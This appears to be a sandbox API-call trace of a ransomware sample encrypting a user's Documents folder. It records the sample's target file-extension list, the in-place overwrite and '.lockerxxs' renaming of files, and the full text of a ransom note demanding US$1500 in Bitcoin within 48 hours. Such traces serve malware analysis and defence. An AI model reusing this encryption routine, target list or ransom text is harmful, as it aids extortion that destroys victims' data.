PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.cs") returned 0 [0089.227] lstrlenA (lpString="*.cs") returned 4 [0089.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.cpp") returned 0 [0089.227] lstrlenA (lpString="*.cpp") returned 5 [0089.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.rar") returned 0 [0089.227] lstrlenA (lpString="*.rar") returned 5 [0089.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.zip") returned 0 [0089.228] lstrlenA (lpString="*.zip") returned 5 [0089.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.html") returned 0 [0089.228] lstrlenA (lpString="*.html") returned 6 [0089.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.htm") returned 0 [0089.228] lstrlenA (lpString="*.htm") returned 5 [0089.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.xlsx") returned 0 [0089.228] lstrlenA (lpString="*.xlsx") returned 6 [0089.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.xls") returned 0 [0089.228] lstrlenA (lpString="*.xls") returned 5 [0089.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.mp4") returned 0 [0089.228] lstrlenA (lpString="*.mp4") returned 5 [0089.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.ppt") returned 0 [0089.228] lstrlenA (lpString="*.ppt") returned 5 [0089.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.pptx") returned 0 [0089.228] lstrlenA (lpString="*.pptx") returned 6 [0089.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.doc") returned 0 [0089.228] lstrlenA (lpString="*.doc") returned 5 [0089.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.dot") returned 0 [0089.229] lstrlenA (lpString="*.dot") returned 5 [0089.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.docx") returned 1 [0089.229] lstrlenA (lpString="*.docx") returned 6 [0089.229] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx" [0089.229] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx" [0089.229] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx." [0089.229] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx.lockerxxs" [0089.229] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ifjzx.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0089.230] GetFileSize (in: hFile=0x88, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x17d5e [0089.230] GetFileTime (in: hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1485e6f0, dwHighDateTime=0x1d59536), lpLastAccessTime=0x407536*(dwLowDateTime=0xa2678230, dwHighDateTime=0x1d56c00), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa2678230, dwHighDateTime=0x1d56c00)) returned 1 [0089.230] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.230] ReadFile (in: hFile=0x88, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x17d38, lpOverlapped=0x0) returned 1 [0089.233] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx") returned="IFJZX.docx" [0089.234] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.234] WriteFile (in: hFile=0x88, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x17d38, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x17d38, lpOverlapped=0x0) returned 1 [0089.235] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.235] CloseHandle (hObject=0x88) returned 1 [0089.235] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ifjzx.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ifjzx.docx.lockerxxs")) returned 1 [0089.236] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c2e4580, ftCreationTime.dwHighDateTime=0x1d5db5d, ftLastAccessTime.dwLowDateTime=0x4eef6830, ftLastAccessTime.dwHighDateTime=0x1d5d7b6, ftLastWriteTime.dwLowDateTime=0x4eef6830, ftLastWriteTime.dwHighDateTime=0x1d5d7b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x35000336, dwReserved1=0x4e00c4, cFileName="im5PbdZL_0mB2gOZ6", cAlternateFileName="IM5PBD~1")) returned 1 [0089.237] lstrcmpA (lpString1=".", lpString2="im5PbdZL_0mB2gOZ6") returned -1 [0089.237] lstrcmpA (lpString1="..", lpString2="im5PbdZL_0mB2gOZ6") returned -1 [0089.237] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx") returned="IFJZX.docx" [0089.237] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="im5PbdZL_0mB2gOZ6" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6" [0089.237] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6") returned 57 [0089.237] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c2e4580, ftCreationTime.dwHighDateTime=0x1d5db5d, ftLastAccessTime.dwLowDateTime=0x4eef6830, ftLastAccessTime.dwHighDateTime=0x1d5d7b6, ftLastWriteTime.dwLowDateTime=0x4eef6830, ftLastWriteTime.dwHighDateTime=0x1d5d7b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502518 [0089.237] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0089.237] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c2e4580, ftCreationTime.dwHighDateTime=0x1d5db5d, ftLastAccessTime.dwLowDateTime=0x4eef6830, ftLastAccessTime.dwHighDateTime=0x1d5d7b6, ftLastWriteTime.dwLowDateTime=0x4eef6830, ftLastWriteTime.dwHighDateTime=0x1d5d7b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0089.237] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0089.237] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0089.237] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbc99970, ftCreationTime.dwHighDateTime=0x1d5deef, ftLastAccessTime.dwLowDateTime=0xe91ea0f0, ftLastAccessTime.dwHighDateTime=0x1d5e81a, ftLastWriteTime.dwLowDateTime=0xe91ea0f0, ftLastWriteTime.dwHighDateTime=0x1d5e81a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="-qzFo-7_wU9NcnjYGjKs", cAlternateFileName="-QZFO-~1")) returned 1 [0089.237] lstrcmpA (lpString1=".", lpString2="-qzFo-7_wU9NcnjYGjKs") returned -1 [0089.237] lstrcmpA (lpString1="..", lpString2="-qzFo-7_wU9NcnjYGjKs") returned -1 [0089.238] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\*.*") returned="*.*" [0089.238] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\", lpString2="-qzFo-7_wU9NcnjYGjKs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs" [0089.238] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs") returned 78 [0089.238] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbc99970, ftCreationTime.dwHighDateTime=0x1d5deef, ftLastAccessTime.dwLowDateTime=0xe91ea0f0, ftLastAccessTime.dwHighDateTime=0x1d5e81a, ftLastWriteTime.dwLowDateTime=0xe91ea0f0, ftLastWriteTime.dwHighDateTime=0x1d5e81a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0089.238] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0089.238] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbc99970, ftCreationTime.dwHighDateTime=0x1d5deef, ftLastAccessTime.dwLowDateTime=0xe91ea0f0, ftLastAccessTime.dwHighDateTime=0x1d5e81a, ftLastWriteTime.dwLowDateTime=0xe91ea0f0, ftLastWriteTime.dwHighDateTime=0x1d5e81a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.238] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0089.238] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0089.238] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ca360d0, ftCreationTime.dwHighDateTime=0x1d5dfc3, ftLastAccessTime.dwLowDateTime=0x80e8e940, ftLastAccessTime.dwHighDateTime=0x1d5dfb5, ftLastWriteTime.dwLowDateTime=0x80e8e940, ftLastWriteTime.dwHighDateTime=0x1d5dfb5, nFileSizeHigh=0x0, nFileSizeLow=0x5613, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="FApU.xlsx", cAlternateFileName="FAPU~1.XLS")) returned 1 [0089.238] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0089.238] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FApU.xlsx") returned -1 [0089.239] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FApU.xlsx") returned 1 [0089.239] lstrcmpiA (lpString1="", lpString2="FApU.xlsx") returned -1 [0089.239] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\*.*") returned="*.*" [0089.239] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\" [0089.239] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\") returned="" [0089.239] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\HOW TO DECRYPT FILES.txt" [0089.239] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\-qzfo-7_wu9ncnjygjks\\how to decrypt files.txt")) returned 0xffffffff [0089.239] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\-qzfo-7_wu9ncnjygjks\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0089.240] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0089.240] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0089.243] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0089.243] CloseHandle (hObject=0x90) returned 1 [0089.243] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\", lpString2="FApU.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx" [0089.243] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.ems") returned 0 [0089.243] lstrlenA (lpString="*.ems") returned 5 [0089.243] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.db") returned 0 [0089.243] lstrlenA (lpString="*.db") returned 4 [0089.243] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.dbf") returned 0 [0089.243] lstrlenA (lpString="*.dbf") returned 5 [0089.243] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.myox") returned 0 [0089.243] lstrlenA (lpString="*.myox") returned 6 [0089.243] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.myo") returned 0 [0089.243] lstrlenA (lpString="*.myo") returned 5 [0089.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.qbw") returned 0 [0089.244] lstrlenA (lpString="*.qbw") returned 5 [0089.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.qbb") returned 0 [0089.244] lstrlenA (lpString="*.qbb") returned 5 [0089.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.qbm") returned 0 [0089.244] lstrlenA (lpString="*.qbm") returned 5 [0089.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.qbo") returned 0 [0089.244] lstrlenA (lpString="*.qbo") returned 5 [0089.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.qbx") returned 0 [0089.244] lstrlenA (lpString="*.qbx") returned 5 [0089.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.qba") returned 0 [0089.244] lstrlenA (lpString="*.qba") returned 5 [0089.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.qby") returned 0 [0089.244] lstrlenA (lpString="*.qby") returned 5 [0089.263] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.qbj") returned 0 [0089.263] lstrlenA (lpString="*.qbj") returned 5 [0089.263] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.ofx") returned 0 [0089.263] lstrlenA (lpString="*.ofx") returned 5 [0089.263] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.qif") returned 0 [0089.263] lstrlenA (lpString="*.qif") returned 5 [0089.264] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.mye") returned 0 [0089.264] lstrlenA (lpString="*.mye") returned 5 [0089.264] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.mbox") returned 0 [0089.264] lstrlenA (lpString="*.mbox") returned 6 [0089.264] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.eml") returned 0 [0089.264] lstrlenA (lpString="*.eml") returned 5 [0089.264] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.pst") returned 0 [0089.264] lstrlenA (lpString="*.pst") returned 5 [0089.264] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.ost") returned 0 [0089.264] lstrlenA (lpString="*.ost") returned 5 [0089.264] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.idx") returned 0 [0089.264] lstrlenA (lpString="*.idx") returned 5 [0089.264] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.dbx") returned 0 [0089.264] lstrlenA (lpString="*.dbx") returned 5 [0089.264] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.sql") returned 0 [0089.264] lstrlenA (lpString="*.sql") returned 5 [0089.264] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.mdb") returned 0 [0089.264] lstrlenA (lpString="*.mdb") returned 5 [0089.264] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.fdb") returned 0 [0089.265] lstrlenA (lpString="*.fdb") returned 5 [0089.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.wab") returned 0 [0089.265] lstrlenA (lpString="*.wab") returned 5 [0089.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.dat") returned 0 [0089.265] lstrlenA (lpString="*.dat") returned 5 [0089.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.txt") returned 0 [0089.265] lstrlenA (lpString="*.txt") returned 5 [0089.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.jpeg") returned 0 [0089.265] lstrlenA (lpString="*.jpeg") returned 6 [0089.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.jpg") returned 0 [0089.265] lstrlenA (lpString="*.jpg") returned 5 [0089.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.png") returned 0 [0089.265] lstrlenA (lpString="*.png") returned 5 [0089.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.php") returned 0 [0089.265] lstrlenA (lpString="*.php") returned 5 [0089.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.cs") returned 0 [0089.265] lstrlenA (lpString="*.cs") returned 4 [0089.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.cpp") returned 0 [0089.265] lstrlenA (lpString="*.cpp") returned 5 [0089.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.rar") returned 0 [0089.266] lstrlenA (lpString="*.rar") returned 5 [0089.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\FApU.xlsx", pszSpec="*.zip") returned 0 [0089.266] lstrlenA (lpString="*.zip") returned 5 [0089.266] 